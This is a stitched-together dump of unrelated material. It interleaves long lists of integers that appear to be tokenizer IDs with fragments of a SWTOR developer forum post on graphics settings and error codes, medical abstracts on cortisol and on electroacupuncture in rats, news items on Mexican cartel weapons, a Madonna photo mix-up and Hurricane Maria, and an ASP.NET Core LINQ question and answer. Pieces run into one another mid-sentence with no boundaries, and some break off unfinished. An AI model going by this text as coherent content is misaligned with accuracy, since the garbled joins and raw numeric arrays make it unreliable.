323, 667, 2600, 327, 841, 14248, 15, 60, 29143, 275, 253, 2308, 273, 21318, 41, 285, 32996, 846, 16864, 5445, 281, 19555, 11283, 275, 26934, 285, 1327, 14, 3610, 20972, 1570, 187, 3493, 5614, 21318, 41, 285, 32996, 2308, 497, 5421, 275, 26934, 285, 1327, 26934, 13, 313, 36330, 390, 417, 281, 11283, 273, 253, 3126, 582, 846, 16864, 5445, 281, 19555, 10470, 15, 8758, 26934, 13, 3798, 417, 7329, 281, 11283, 13, 921, 247, 6054, 275, 1097, 23884, 13, 5727, 26934, 285, 1327, 26934, 7744, 7329, 281, 11283, 1053, 626, 921, 667, 1818, 275, 21318, 41, 285, 32996, 2308, 15, 2053, 941, 1804, 326, 31788, 6993, 347, 271, 7928, 15199, 327, 253, 3500, 2689, 1493, 14, 31211, 267, 7844, 1014, 1509 ]

Our texture options are High / Low. We are planning an additional setting for character textures, closer to the quality seen in cinematic scenes, which is under development right now. Anti-aliasing is one of our more system-taxing features, and we do not recommend using it when running a video card with less than 1GB of memory. Keep in mind that the ‘performance cost’ is greater at higher resolutions. Note: anti-aliasing is temporarily disabled for AMD 6900 series cards, due to severe graphical artifacts. We are working with AMD to resolve this bug, and we will re-enable the option for the 6900 series as soon as possible. ‘Fullscreen’ is what we refer to as ‘Fullscreen exclusive mode’. This option gives you the best frame-rate of the three, but it comes with a trade-off of having to reinitialize the display if you tab away from the game and back. ‘Fullscreen (windowed)’ is really just a borderless window that stretches to fill your screen. You lose out on the slight performance gain of ‘Fullscreen’, but you can now tab back to the program seamlessly. ‘Windowed’ is as straightforward as you might expect. If you feel that you’ve gotten the best frame-rate out of this setting, keep in mind that it all comes back to how much resolution you are prepared to sacrifice. Minimum spec, recommended spec and performance Error Code 7 Error code 7 is our way of reporting a game initialization failure – essentially, the game failed to run. There has been some speculation about this message being a ‘gate’ blocking players based on their system, but that is not quite accurate. Here are some situations that will result in an error code 7: Missing technology that would cause an unplayable scenario. To be more specific, we require SSE3, introduced in late 2004. Missing PlatformInfo.dll file (part of the SWTOR client). Failure to create a Direct3D device – usually caused by an absent or outdated graphics card driver. Note that this factor is not related to system processing capabilities, but rather fundamental system architecture (e.g. a 2011 netbook CPU might be able to run SWTOR while a 2004 desktop CPU might not). If you’re receiving error code 7, but your system should be up to the task of running SWTOR, please contact us through Customer Service with the email tagline ’Error Code 7‘. We have introduced additional logging in patch 1.1.0 that can help us diagnose and pinpoint the source of failure. Low FPS in the fleets, warzones and Ilum We’re very aware of the frame-rate degradation that even top-notch systems experience in these gameplay scenarios. We’ve taken measures to control the overall impact that character-heavy scenarios can have on system performance, but there is always more we can do. We are constantly investigating and optimizing, and we are in the process of making changes to the fleets that have hopefully yielded some improvement. Some of you have pointed out that your GPU is not being fully utilized when in these types of situations; we have found that character-heavy situations like these are usually limited by the CPU, not by rendering, so this makes sense. Other changes you can make that will help improve performance: We’ve read that some mobile graphics cards might not appropriately set their performance profile when running SWTOR. You can correct this by going to your graphics control panel and manually setting up a profile. Disabling Windows Aero can also improve performance slightly. And, of course, shutting down background programs can only help. Client crashes Our data says that, when measured as an average across all players, crashes during SWTOR gameplay are relatively rare. That being said, there might be some users that have the perfect storm of hardware, settings or activities that provoke repeated crashes in a way that we can practically diagnose and fix. If you experience consistent crashes, or if you know of a consistently reproducible one, please take a visit to this thread and post your information there – we’re always looking for more issues like this to fix, and increasing SWTOR stability will always be a top priority for our team. We recently messaged that we fixed a frame-rate degradation problem that occurred when shadows were on ‘High’; this fix also greatly increased stability on 32-bit systems. System failures If your system consistently shuts down unexpectedly, please go to this thread and post your information. Some of you have already done this, and your posts have been extremely helpful. We’ve analyzed all the information you’ve provided so far, and this is what we can say… SWTOR has the capacity to heavily utilize your system. If you are running the game with high graphics settings, this is especially true. System flaws or inadequacies that might not be evident when idling or playing other games could possibly be exposed when you are running SWTOR, especially in moments that put extra pressure on your system (PVP, Operations, etc.) To name a few things you should look out for: Ensure that your power supply is not failing and that it supplies enough juice to power your system. For temperature considerations, it’s also worth checking that the power supply fan is working properly. Also ensure that your PC case is properly ventilated and your airflow is unobstructed. Ensure that your PC is clean and your system is not clogged with dust and dirt. We recommend taking appropriate precautions (monitoring and cooling) if you are overclocking your hardware. Our advice is to dial things back to the manufacturer’s recommended settings until your system failures are resolved. Blue Screens are displayed when Windows encounters a critical error. Errors of this nature are usually hardware or driver related. We’ve provided some information here in the CS forums about ways to narrow down and identify the root cause of a given error. Windows tends to log this information, and those logs are a good point to begin an investigation. For every visit you’ve made to the Forums to post constructively or inform us of an issue – thank you. Your DXDiags help us (even if you do forget to use spoiler tags sometimes!!) and we hope you’ll continue to work with us to make SWTOR great. Edit (2/7/12): This post has been up for over a week and we are now going to unsticky it in an effort to declutter the CS Forum's main page. How about making sure that the game doesn't completely stop rendering when retrieving data from the disk cache or asset files? And adding some sort of option to lower FX quality. That would make my game run without frame drops. It really sucks that I can have 110 fps with drops to 70-80 in a specific area, but when enabling V-Sync I get like 58.7 fps with drops to 25-30 in the very same area. I think that's your problem right there, and could provide an explanation to why it affects seemingly identical rigs very differently. Thanks for the WOT there dev, but there isn't anything in there that helps. I have a pretty-good system and even running everything on LOW and 800x600 I still get single-digit FPS on Ilum. Also WZ and Fleet stutters at 15-20fps (at least fleet is not a combat zone) Everything on low and 1920x1080 - Ilum is single-digit FPS Everything on low and 800x600 - Ilum is single-digit FPS Something is wrong with your game map design/client/engine system usage. I can play BF3, Skyrim, and many other MMOs on mostly high settings (AA & Shadows on) yet TOR kills my system. your engine is plain crap, just saying. and so are your "tons of software engineers" and your CS. THE WHOLE COMMUNITY IS LAUGHING AT YOU BIOWARE. Quote: Some of you have pointed out that your GPU is not being fully utilized when in these types of situations; we have found that character-heavy situations like these are usually limited by the CPU, not by rendering, so this makes sense. with this sentence you've just admitted that you lied about the system requirements of this game. what a CPU do we have to own to run this game smoothly? brb calling my NASA dudes! The statements and opinions expressed on these websites are solely those of their respective authors and do not necessarily reflect the views, nor are they endorsed by Bioware, LucasArts, and its licensors do not guarantee the accuracy of, and are in no way responsible for any content on these websites. The statements and opinions expressed on these websites are solely those of their respective authors and do not necessarily reflect the views, nor are they endorsed by Bioware, LucasArts, and its licensors do not guarantee the accuracy of, and are in no way responsible for any content on these websites.[Changes in the levels of ACTH and cortisol after passive exposure to cigarette smoke in smokers and non-smokers]. Plasma ACTH and cortisol levels were studied in smokers and non smokers, (exposed or not to smoke of the environment), after passive exposure to cigarette smoking. Non smokers, usually not exposed to smoke, show a rise in both hormones, whereas smokers and non smokers commonly exposed to smoke don't show any change in ACTH and cortisol levels. These data suggest that nicotine acts as an acute stimulus on the hypophysis-adrenal axis even pass

[ 6424, 29892, 281, 7471, 27050, 13, 2223, 9222, 14, 4826, 8914, 13, 285, 1110, 8914, 403, 840, 924, 18050, 1070, 715, 8987, 937, 31235, 1342, 369, 15212, 347, 7746, 16817, 275, 5003, 18089, 15, 346, 510, 9099, 273, 326, 924, 37706, 476, 320, 2326, 1046, 1388, 275, 253, 29803, 534, 1379, 1659, 6420, 273, 253, 5680, 449, 187, 187, 48273, 457, 84, 10158, 4214, 1390, 1770, 4439, 9990, 4645, 326, 4829, 2456, 13, 933, 952, 574, 4962, 275, 2854, 14, 4919, 7217, 1580, 16234, 3918, 17918, 5495, 47660, 3876, 1925, 562, 253, 8663, 281, 11757, 253, 2854, 7281, 1241, 2620, 1107, 3622, 15, 187, 187, 510, 1503, 292, 284, 13, 8987, 457, 84, 1273, 954, 14, 9177, 1020, 41815, 6003, 13, 403, 2190, 253, 954, 12338, 5014, 275, 253, 2854, 2137, 15, 4794, 281, 24197, 13, 253, 1387, 19142, 8663, 711, 254, 1336, 665, 2378, 497, 6616, 323, 253, 18351, 16619, 293, 15, 187, 187, 688, 247, 2905, 2440, 13, 380, 8742, 9757, 7717, 2361, 11066, 326, 16234, 9061, 574, 9833, 7924, 18089, 38295, 2398, 579, 4786, 13, 665, 310, 10145, 347, 271, 546, 1542, 1209, 323, 253, 322, 989, 12354, 16619, 293, 13, 8987, 457, 84, 954, 6422, 13, 285, 665, 14163, 717, 39479, 8914, 762, 253, 1982, 2208, 457, 84, 4242, 4828, 14, 3610, 37706, 5654, 4254, 1925, 20715, 285, 401, 21310, 15, 60, 15131, 273, 36441, 842, 14, 47357, 273, 8424, 894, 2803, 8092, 327, 4640, 317, 484, 27206, 5802, 2544, 273, 1385, 285, 372, 28859, 1427, 273, 31967, 20971, 1341, 275, 253, 1980, 2919, 275, 7600, 1570, 187, 1992, 10018, 253, 3960, 569, 273, 1980, 20971, 1341, 313, 46, 6072, 10, 275, 253, 1180, 285, 5164, 4712, 846, 4640, 317, 484, 27206, 313, 25716, 10, 285, 8829, 273, 8424, 894, 2803, 313, 8683, 39, 10, 8092, 715, 346, 1231, 763, 86, 3, 313, 5993, 3127, 10, 285, 346, 59, 316, 266, 965, 3, 313, 1267, 5540, 10, 275, 7600, 15, 28270, 411, 43418, 7600, 497, 12421, 7922, 281, 2622, 13, 28545, 13, 285, 28545, 559, 322, 7386, 8092, 8829, 313, 25716, 14, 2925, 42, 10, 2390, 313, 79, 30, 740, 481, 28545, 369, 3732, 281, 253, 1669, 346, 1231, 763, 86, 31770, 5993, 3127, 10, 285, 346, 59, 316, 266, 965, 3, 313, 1267, 5540, 10, 323, 2030, 1054, 15, 1198, 7600, 273, 28545, 12, 46910, 1387, 13, 8717, 39, 14, 2925, 313, 18, 27, 1518, 13, 470, 15, 18, 14141, 10, 369, 2975, 13945, 715, 13242, 3127, 285, 3915, 5540, 13, 1563, 407, 28545, 15, 380, 7944, 1475, 253, 767, 36441, 842, 84, 3672, 497, 19958, 281, 320, 13968, 342, 27802, 36992, 24153, 511, 313, 34, 348, 38, 10, 285, 281, 7675, 13196, 4797, 313, 18269, 582, 2975, 15, 380, 9372, 285, 372, 28859, 1427, 4313, 273, 14789, 84, 275, 253, 36441, 842, 2919, 497, 5950, 285, 2540, 762, 17199, 15, 496, 5301, 342, 253, 2622, 1387, 13, 353, 6072, 1385, 369, 2559, 3012, 275, 253, 28545, 273, 346, 1231, 763, 86, 3, 313, 5993, 3127, 10, 1387, 313, 49, 654, 470, 15, 1762, 582, 38920, 275, 253, 28545, 273, 346, 59, 316, 266, 965, 3, 313, 1267, 5540, 10, 1387, 313, 49, 2239, 470, 15, 1762, 582, 285, 34122, 15455, 275, 1097, 28545, 14, 2925, 42, 14, 5993, 3127, 285, 28545, 14, 2925, 42, 14, 1267, 5540, 2390, 313, 49, 654, 470, 15, 1762, 10, 964, 20901, 342, 253, 2622, 1387, 13, 253, 372, 28859, 1427, 4313, 273, 353, 6072, 369, 2559, 3012, 275, 28545, 14, 5993, 3127, 13, 28545, 14, 1267, 5540, 13, 28545, 14, 2925, 42, 14, 5993, 3127, 285, 28545, 14, 2925, 42, 14, 1267, 5540, 2390, 313, 49, 654, 470, 15, 22, 481, 1621, 1534, 3910, 497, 1119, 875, 28545, 14, 5993, 3127, 285, 28545, 14, 2925, 42, 14, 5993, 3127, 2390, 13, 285, 875, 28545, 14, 1267, 5540, 285, 28545, 14, 2925, 42, 14, 1267, 5540, 2390, 275, 253, 372, 28859, 1427, 11878, 313, 49, 2239, 470, 15, 1762, 481, 11629, 8829, 273, 322, 7386, 8092, 275, 13242, 3127, 285, 3915, 5540, 476, 3012, 10476, 28545, 14, 6367, 2572, 273, 253, 1180, 285, 372, 28859, 1427, 4313, 273, 1980, 31967, 353, 6072, 275, 7600, 13, 7738, 326, 322, 7386, 310, 271, 1774, 2803, 13567, 253, 2425, 285, 16510, 273, 353, 6072, 1475, 253, 36441, 842, 1309, 28545, 15, 19008, 5860, 556, 387, 2069, 516, 15281, 34334, 434, 11996, 35932, 4453, 187, 187, 24441, 1196, 12951, 24157, 13, 11087, 13, 753, 344, 1119, 253, 13723, 90, 20731, 14, 10306, 7512, 387, 521, 1728, 285, 1869, 352, 369, 247, 7520, 5406, 273, 34334, 42501, 347, 247, 16867, 47826, 73, 24736, 15, 187, 187, 1328, 285, 521, 4475, 1777, 21767, 261, 840, 5262, 1740, 2607, 37676, 253, 10440, 15, 187, 187, 7710, 12951, 24157, 13282, 352, 574, 644, 1669, 407, 247, 7731, 387, 521, 2579, 4660, 275, 1457, 2816, 2846, 275, 20208, 15, 187, 187, 510, 4564, 3982, 275, 34334, 6485, 11007, 13680, 13, 665, 5783, 352, 369, 247, 13241, 13, 12302, 1089, 15, 187, 187, 46593, 11526, 247, 3668, 8059, 281, 24973, 300, 253, 2460, 533, 4136, 690, 18680, 247, 36129, 25044, 15, 187, 187, 3726, 5125, 253, 31769, 21764, 369, 275, 958, 247, 5103, 273, 6984, 5860, 432, 617, 19908, 9748, 1984, 13, 16678, 15, 187, 187, 1147, 8653, 253, 16057, 9398, 816, 25296, 285, 247, 1133, 22738, 13, 342, 247, 19555, 275, 617, 6208, 15, 187, 187, 46593, 25436, 253, 10551, 27, 346, 1394, 1472, 987, 28, 352, 434, 6984, 5860, 15, 1310, 627, 2455, 369, 271, 34019, 2774, 29001, 187, 187, 1328, 1335, 5827, 281, 2186, 253, 3668, 8059, 281, 346, 1664, 253, 3440, 3446, 187, 187, 3, 7883, 14896, 1060, 32, 6984, 5860, 13, 273, 2282, 15, 1500, 1663, 4453, 751, 2398, 1031, 79, 34334, 937, 16701, 13680, 15, 187, 187, 1147, 310, 417, 2590, 835, 253, 10440, 2686, 2210, 432, 13, 533, 13680, 753, 344, 6566, 3095, 574, 19347, 253, 20731, 715, 2305, 12951, 24157, 434, 45308, 347, 247, 8542, 16391, 15, 1145, 3028, 21955, 4712, 273, 26290, 432, 253, 8424, 273, 18371, 1295, 571, 11267, 2162, 74, 15, 187, 47, 460, 1929, 7006, 497, 41005, 7011, 432, 253, 10410, 45193, 4908, 273, 18371, 1295, 571, 11267, 2162, 74, 8424, 407, 38360, 2425, 12925, 13, 285, 253, 5793, 5289, 497, 3636, 407, 970, 33736, 285, 2150, 4173, 14, 20465, 1783, 15, 28995, 40681, 7103, 1411, 1740, 2923, 894, 3104, 369, 2684, 327, 512, 841, 7006, 13, 534, 2692, 326, 611, 33730, 812, 320, 3012, 14481, 407, 7898, 7006, 342, 9276, 9, 1235, 10, 2193, 387, 253, 2491, 432, 3387, 281, 3925, 4654, 16, 8316, 15, 50, 27, 187, 187, 17148, 272, 3453, 432, 619, 19169, 82, 7316, 275, 14271, 187, 187, 42, 717, 970, 29781, 15, 3024, 5161, 10726, 7792, 15, 50276, 42, 717, 2820, 281, 3379, 562, 253, 1543, 273, 619, 7316, 715, 619, 14271, 15, 50276, 4943, 310, 619, 2127, 15, 187, 1552, 310, 619, 964, 6113, 1873, 187, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 426, 313, 4064, 2608, 64, 23832, 275, 795, 8882, 15, 17104, 64, 15413, 64, 47258, 187, 50254, 50274, 6604, 2608, 275, 795, 8882, 15, 17104, 327, 2608, 64, 23832, 15, 15987, 64, 301, 18207, 2608, 15, 301, 2490, 50254, 50274, 6604, 1885, 275, 795, 8882, 15, 47258, 327, 2608, 64, 23832, 15, 23832, 64, 301, 18207, 1885, 15, 301, 2490, 50254, 50274, 3609, 747, 551, 1416, 426, 50276, 4537, 15, 1590, 13, 1885, 426, 1885, 15, 1590, 13, 2490, 50254, 252, 50264, 47704, 426, 2608, 64, 23832, 15, 371, 266, 262, 414, 13, 3522, 426, 2608, 64, 23832, 15, 22337, 64, 255, 9897, 187, 187, 26966, 9, 2044, 5382, 275, 9182, 36524, 15, 6989, 64, 15413, 64, 47258, 10, 187, 92, 187, 50273, 7761, 15, 35184, 15, 33626, 3914, 3, 92, 4835, 15, 1590, 94, 3287, 1380, 2520, 3453, 310, 3451, 187, 94, 187, 187, 4943, 310, 619, 964, 6113, 2974, 3239, 187, 26778, 187, 50274, 338, 9, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 3613, 3635, 10, 187, 50274, 92, 187, 50270, 26966, 9, 2044, 5382, 275, 9182, 36524, 15, 6989, 64, 15413, 64, 47258, 10, 187, 50270, 92, 187, 50266, 29, 81, 31, 33, 5, 3, 92, 4835, 15, 1590, 13272, 870, 81, 31, 1380, 85, 11729, 281, 3379, 352, 562, 1060, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 187, 42, 671, 3597, 654, 81, 31, 33, 4835, 15, 1590, 870, 81, 31, 533, 1694, 271, 1789, 1057, 417, 3831, 247, 5426, 323, 1416, 2228, 15, 187, 187, 34, 27, 187, 187, 1394, 1053, 626, 878, 253, 2876, 19101, 275, 634, 964, 6113, 2974, 1873, 13, 816, 897, 352, 347, 310, 13, 923, 253, 1563, 1650, 27, 187, 26778, 187, 50274, 338, 9, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 3613, 3635, 10, 187, 50274, 92, 187, 50270, 26966, 9, 2044, 5382, 275, 9182, 36524, 15, 6989, 64, 15413, 64, 47258, 10, 187, 50270, 92, 187, 50266, 29, 81, 31, 33, 4835, 15, 1590, 870, 81, 31, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 187, 1989, 253, 1805, 17401, 310, 281, 1973, 247, 1566, 285, 5007, 352, 281, 634, 1859, 13, 751, 436, 27, 187, 4387, 966, 11447, 47258, 3145, 7645, 1082, 551, 187, 50273, 4387, 2876, 9424, 551, 755, 28, 873, 28, 748, 187, 50273, 4387, 2876, 13126, 551, 755, 28, 873, 28, 748, 187, 50273, 4387, 540, 12597, 414, 551, 755, 28, 873, 28, 748, 187, 50273, 4387, 2876, 10421, 551, 755, 28, 873, 22866, 187, 94, 187, 187, 395, 897, 352, 275, 634, 964, 6113, 1873, 751, 436, 27, 187, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 426, 313, 4064, 2608, 64, 23832, 275, 795, 8882, 15, 17104, 64, 15413, 64, 47258, 187, 50254, 50274, 6604, 2608, 275, 795, 8882, 15, 17104, 327, 2608, 64, 23832, 15, 15987, 64, 301, 18207, 2608, 15, 301, 2490, 50254, 50274, 6604, 1885, 275, 795, 8882, 15, 47258, 327, 2608, 64, 23832, 15, 23832, 64, 301, 18207, 1885, 15, 301, 2490, 50254, 50274, 3609, 747, 11447, 47258, 3145, 7645, 1082, 551, 2490, 50254, 50270, 50276, 2402, 426, 50276, 4537, 15, 1590, 13, 13126, 426, 1885, 15, 1590, 13, 2490, 50254, 50270, 50276, 48514, 426, 2608, 64, 23832, 15, 371, 266, 262, 414, 13, 10421, 426, 2608, 64, 23832, 15, 22337, 64, 255, 187, 50254, 50272, 9897, 187, 187, 1898, 275, 634, 964, 6113, 2974, 751, 436, 27, 187, 26778, 187, 50274, 338, 9, 3145, 36524, 15, 6989, 64, 15413, 64, 47258, 3613, 3635, 10, 187, 50274, 92, 187, 50270, 26966, 9, 6989, 47258, 3145, 7645, 5382, 275, 9182, 36524, 15, 6989, 64, 15413, 64, 47258, 10, 187, 50270, 92, 187, 50266, 29, 81, 31, 33, 4835, 15, 2402, 870, 81, 31, 187, 50270, 94, 187, 50274, 94, 187, 94, 535, 16227, 273, 5003, 21587, 18308, 3617, 265, 6694, 267, 347, 3778, 5706, 7305, 4058, 327, 7879, 187, 187, 36, 1513, 257, 714, 6236, 16874, 310, 4283, 14471, 6031, 275, 5003, 21587, 13, 22699, 25681, 15, 187, 187, 34, 7512, 273, 253, 14967, 273, 5003, 21587, 259, 6748, 949, 8138, 14, 8656, 12685, 342, 247, 19488, 9761, 531, 1309, 14471, 6031, 1563, 34473, 17100, 556, 4783, 9907, 13, 846, 3918, 10053, 3778, 753, 703, 556, 2011, 773, 31943, 9550, 668, 275, 10620, 342, 253, 8891, 15, 187, 187, 510, 3918, 13, 13660, 8211, 432, 521, 3055, 15692, 5453, 275, 19761, 29345, 327, 7814, 4131, 13, 10466, 22787, 257, 714, 6236, 16874, 369, 440, 737, 366, 1020, 323, 253, 14471, 6031, 1146, 5196, 407, 253, 530, 15, 52, 15, 4668, 285, 806, 38427, 275, 22699, 25681, 15, 187, 187, 1051, 18869, 4105, 9550, 3745, 407, 253, 18308, 273, 5003, 21587, 13, 285, 2571, 275, 22699, 25681, 13, 665, 403, 417, 2104, 281, 755, 616, 5820, 281, 1361, 15, 1583, 2391, 187, 187, 510, 5701, 2210, 1563, 16874, 457, 84, 12678, 323, 1361, 1309, 247, 3668, 8059, 327, 6794, 13, 835, 703, 23159, 253, 3778, 5286, 323, 24428, 6619, 6031, 275, 22699, 25681, 281, 3176, 347, 625, 10599, 685, 597, 2686, 452, 644, 15, 22699, 25681, 457, 84, 11319, 556, 644, 11069, 1563, 34473, 17100, 13, 285, 3578, 1897, 846, 253, 9902, 33544, 949, 253, 12785, 13, 1199, 273, 22699, 25681, 310, 1335, 1293, 13978, 13, 347, 8811, 11182, 281, 755, 2289, 281, 4999, 10678, 1824, 13, 2739, 13, 7236, 285 ]

criminal histories to purchase firearms, often assault-style weapons, and those weapons are then smuggled into Mexico," Pitman was quoted as telling reporters in San Antonio. "The consequences of that smuggling can be seen every day in the murders which take place south of the border." Mexico’s Attorney General last month released statistics showing that nearly 50,000 people had died in drug-related violence since Mexican President Felipe Calderón called out the Army to combat the drug cartels five years ago. The Zetas, Mexico’s second most-powerful narcotics organization, are among the most violent participants in the drug war. According to Reuters, the group comprise Army deserters who once were muscle for the Gulf Cartel. In a related development, The Los Angeles Times reported yesterday that Mexican authorities had arrested Jose Antonio Torres Marrufo, who is accused as an enforcer for the Sinaloa Cartel, Mexico’s most powerful, and who allegedly amassed weapons under the US government’s failed counter-smuggling gun operation called Fast and Furious.[Effect of acupoint-injection of stem cell factor antibody on electroacupuncture induced changes of count and degranulation of subcutaneous mast cells in the local region in rats]. To observe the alternations of local mast cells (MCs) in the number and functional activities after electroacupuncture (EA) and injection of stem cell factor (SOF) antibody into "Weishu" (BL 21) and "Zusanli" (ST 36) in rats. Thirty Wistar rats were randomly assigned to normal, EA, and EA + SCF antibody injection (EA-ABI) groups (n=10). EA was applied to the left "Weishu"(BL 21) and "Zusanli" (ST 36) for 25 min. For rats of EA+ ABI group, SOF-AB (1:200, 0.1 mL) was respectively injected into BL 21 and ST 36, following by EA. The tissues around the two acupoints areas were sampled to be stained with acetylcholine esterase (AchE) and toluidine blue (TB), respectively. The counts and degranulation ratio of MOs in the acupoint region were recorded and observed under microscope. In comparison with the normal group, MCs count was increased significantly in the EA of "Weishu" (BL 21) group (P < 0.05), mildly in the EA of "Zusanli" (ST 36) group (P > 0.05), and downregulated considerably in both EA-ABI-BL 21 and EA-ABI-ST 36 groups (P < 0.05). Compared with the normal group, the degranulation ratio of MCs was increased significantly in EA-BL 21, EA-ST 36, EA-ABI-BL 21 and EA-ABI-ST 36 groups (P < 0.5). No significant differences were found between EA-BL 21 and EA-ABI-BL 21 groups, and between EA-ST 36 and EA-ABI-ST 36 groups in the degranulation ratios (P > 0.05). Local injection of SCF antibody in BL 21 and ST 36 can significantly suppress EA-induced increase of the number and degranulation ratio of local subcutaneous MCs in rats, suggesting that SCF is an important factor affecting the activity and recruitment of MCs around the acupoint during EA.Madonna has at times imitated Monroe's bottle blonde looks Lawrence Nicastro, 73, said he found the grainy poster-sized photo at his home and thought it was a rare picture of Monroe posing as a naked hitchhiker. He and his wife Phyllis then spent four months researching the photograph. Mr Nicastro suspected it had been left by a customer at his service station in New York city in 1962. The couple brought in Monroe expert Chris Harris, who confirmed it was a genuine, exciting find. Harris scheduled a news conference to unveil the image but allowed some journalists a sneak preview. They suggested the photographic treasure was in fact a shot of Madonna from her graphic 1992 book, Sex. It displayed the singer wearing just heels and a handbag, with a cigarette in her mouth. Harris realised the mistake: "You're right; it's Madonna. If there ever was an embarrassing moment..." He still plans to hold the news conference to "face the music". "Who wins here? Madonna, of course. She really looks like Marilyn Monroe," insisted Harris. It is not clear where the photograph actually came from, but Harris said he believed someone had slipped the poster into Mr Nicastro's belongings as a practical joke.Anticancer activities of constituents from the stem of Polyalthia rumphii. Nine known compounds were firstly isolated from the chloroform extract of Polyalthia rumphii stem by anticancer activity guidance, and the chemical structures were identified by using spectroscopic and physico-chemical analysis. Cytotoxic evaluation against four cancer cell lines was performed on all these compounds, which showed that K562 could be significantly inhibited by partial compounds with IC(50) values at the range from 40 to 60 μ/mL.Q: Printing output from my linq query in html I am using asp.net core entity framework. I am trying to print out the results of my query into my html. Here is my code. This is my.cs file ViewBag.User_Has_Products = (from user_products in _context.Users_Has_Products join user in _context.Users on user_products.users_id equals user.id join product in _context.Products on user_products.products_id equals product.id select new { name = user.name, product = product.name, quantity = user_products.quanitity, date = user_products.created_at}); foreach(var item in ViewBag.User_Has_Products) { System.Console.WriteLine($"{item.name}"); //this output is correct } Here is my.cshtml page @{ if(ViewBag.User_Has_Products!= null) { foreach(var item in ViewBag.User_Has_Products) { <p>@$"{item.name}"</p> //trying to print it out here } } } I also tried <p>@item.name</p> but got an object does not contain a definition for name error. A: You don't need the string quotes in your.cshtml file, just use it as is, see the following example: @{ if(ViewBag.User_Has_Products!= null) { foreach(var item in ViewBag.User_Has_Products) { <p>@item.name</p> } } } But the better recommendation is to build a model and send it to your view, like this: public class UserProductsViewmodel() { public string Name { get; set; } public string Product { get; set; } public int Quantity { get; set; } public string Date { get; set;} } and use it in your.cs file like this: ViewBag.User_Has_Products = (from user_products in _context.Users_Has_Products join user in _context.Users on user_products.users_id equals user.id join product in _context.Products on user_products.products_id equals product.id select new UserProductsViewmodel() { Name = user.name, Product = product.name, Quantity = user_products.quanitity, Date = user_products.created_at }); And in your.cshtml like this: @{ if(ViewBag.User_Has_Products!= null) { foreach(UserProductsViewmodel item in ViewBag.User_Has_Products) { <p>@item.Name</p> } } } Photo of San Juan Mayor Goes Viral as Trump Attacks Her on Twitter Carmen Yulin Cruz is leading rescue efforts in San Juan, Puerto Rico. A photo of the mayor of San Juan wading through waste-high waters with a megaphone during rescue efforts following Hurricane Maria has gone viral, after President Donald Trump said she has shown “poor leadership” in dealing with the crisis. The President, tweeting from his private golf club in Bedminster on Saturday morning, implied Carmen Yulin Cruz was ungrateful for the rescue efforts being conducted by the U.S. military and first responders in Puerto Rico. ...Such poor leadership ability by the Mayor of San Juan, and others in Puerto Rico, who are not able to get their workers to help. They.... The comments came following Cruz’s plea for help during a news conference on Friday, where she criticized the Trump administration for spinning relief efforts in Puerto Rico to appear as more adequate than they actually have been. Puerto Rico’s infrastructure has been destroyed following Hurricane Maria, and ten days after the storm tore through the territory, much of Puerto Rico is still without electricity, as residents struggle to get access to safe drinking water, food, fuel and

[ 13, 13405, 281, 923, 253, 6680, 8232, 15, 1583, 12668, 281, 6912, 70, 2310, 13, 253, 4782, 17929, 273, 253, 4782, 6347, 8663, 285, 253, 581, 14, 2606, 1728, 273, 7252, 253, 1716, 14056, 263, 13, 253, 760, 643, 637, 283, 16829, 323, 32133, 47577, 285, 44402, 34343, 283, 936, 452, 26814, 247, 2831, 14, 18851, 11492, 15, 187, 187, 6175, 1733, 4263, 275, 253, 11600, 2170, 13, 2516, 369, 47096, 281, 923, 247, 815, 30637, 89, 273, 4668, 9411, 6276, 270, 24512, 281, 270, 24512, 15, 2064, 369, 4336, 275, 8411, 273, 253, 4668, 5199, 344, 574, 644, 10256, 387, 4255, 11149, 15, 346, 1394, 1871, 1620, 755, 1977, 342, 436, 604, 368, 1904, 626, 452, 2329, 34385, 937, 753, 253, 25547, 278, 26082, 1273, 32386, 15, 187, 187, 3, 39312, 937, 309, 413, 24145, 896, 13, 346, 338, 309, 1904, 626, 452, 2329, 34385, 13, 309, 5082, 626, 320, 1060, 449, 187, 187, 24327, 34385, 651, 320, 253, 30417, 5024, 275, 253, 5557, 273, 253, 5685, 8544, 387, 253, 8852, 15, 380, 32683, 2098, 17096, 651, 320, 247, 1264, 14, 1087, 543, 264, 2983, 6146, 1034, 949, 6181, 407, 15345, 932, 27438, 13, 27991, 13, 285, 2790, 1299, 15, 496, 24636, 44346, 3508, 13, 2790, 1299, 574, 17735, 521, 10824, 275, 37601, 1279, 327, 4223, 337, 15, 187, 187, 2214, 32133, 47577, 13, 10636, 273, 5700, 651, 2489, 36255, 275, 13216, 15, 367, 565, 14, 10306, 27438, 342, 521, 2502, 320, 1221, 285, 1213, 307, 17328, 581, 273, 247, 270, 386, 312, 687, 7337, 15, 2790, 1299, 342, 521, 3168, 26358, 285, 27887, 77, 14, 4608, 1070, 3585, 14930, 369, 253, 2448, 37566, 42484, 13, 3426, 342, 30006, 5269, 790, 15, 6295, 497, 35524, 342, 581, 4736, 27, 281, 320, 253, 806, 281, 9549, 31831, 616, 20470, 715, 12911, 15, 1583, 671, 6096, 253, 9611, 326, 597, 3260, 625, 670, 4668, 5700, 685, 32133, 47577, 15, 7160, 2746, 281, 6680, 13, 2299, 13, 812, 417, 452, 644, 625, 1027, 15, 2790, 1299, 369, 11449, 1050, 28, 27438, 13, 625, 46524, 15, 187, 187, 3404, 253, 659, 15, 5171, 434, 4726, 30945, 327, 4693, 13, 27438, 574, 40818, 281, 320, 346, 48459, 272, 327, 253, 46413, 273, 6047, 257, 3, 387, 253, 990, 273, 253, 806, 1388, 15, 2896, 3978, 1384, 313, 37, 14, 1201, 5043, 25963, 10, 27438, 1335, 574, 417, 2668, 6047, 257, 15, 187, 187, 28211, 25256, 434, 6680, 3740, 17328, 309, 413, 273, 247, 2872, 5041, 18718, 31021, 275, 253, 17437, 84, 15, 4129, 253, 7929, 2146, 18801, 247, 1175, 3809, 2910, 13, 344, 816, 44768, 11046, 387, 253, 18803, 273, 253, 5340, 3185, 273, 11132, 253, 4352, 1336, 15, 1284, 27438, 4159, 1996, 13, 346, 1147, 369, 1900, 1077, 2590, 326, 309, 413, 285, 309, 497, 25284, 7419, 672, 352, 2210, 281, 253, 2589, 273, 253, 2137, 449, 4200, 555, 6566, 275, 346, 328, 7187, 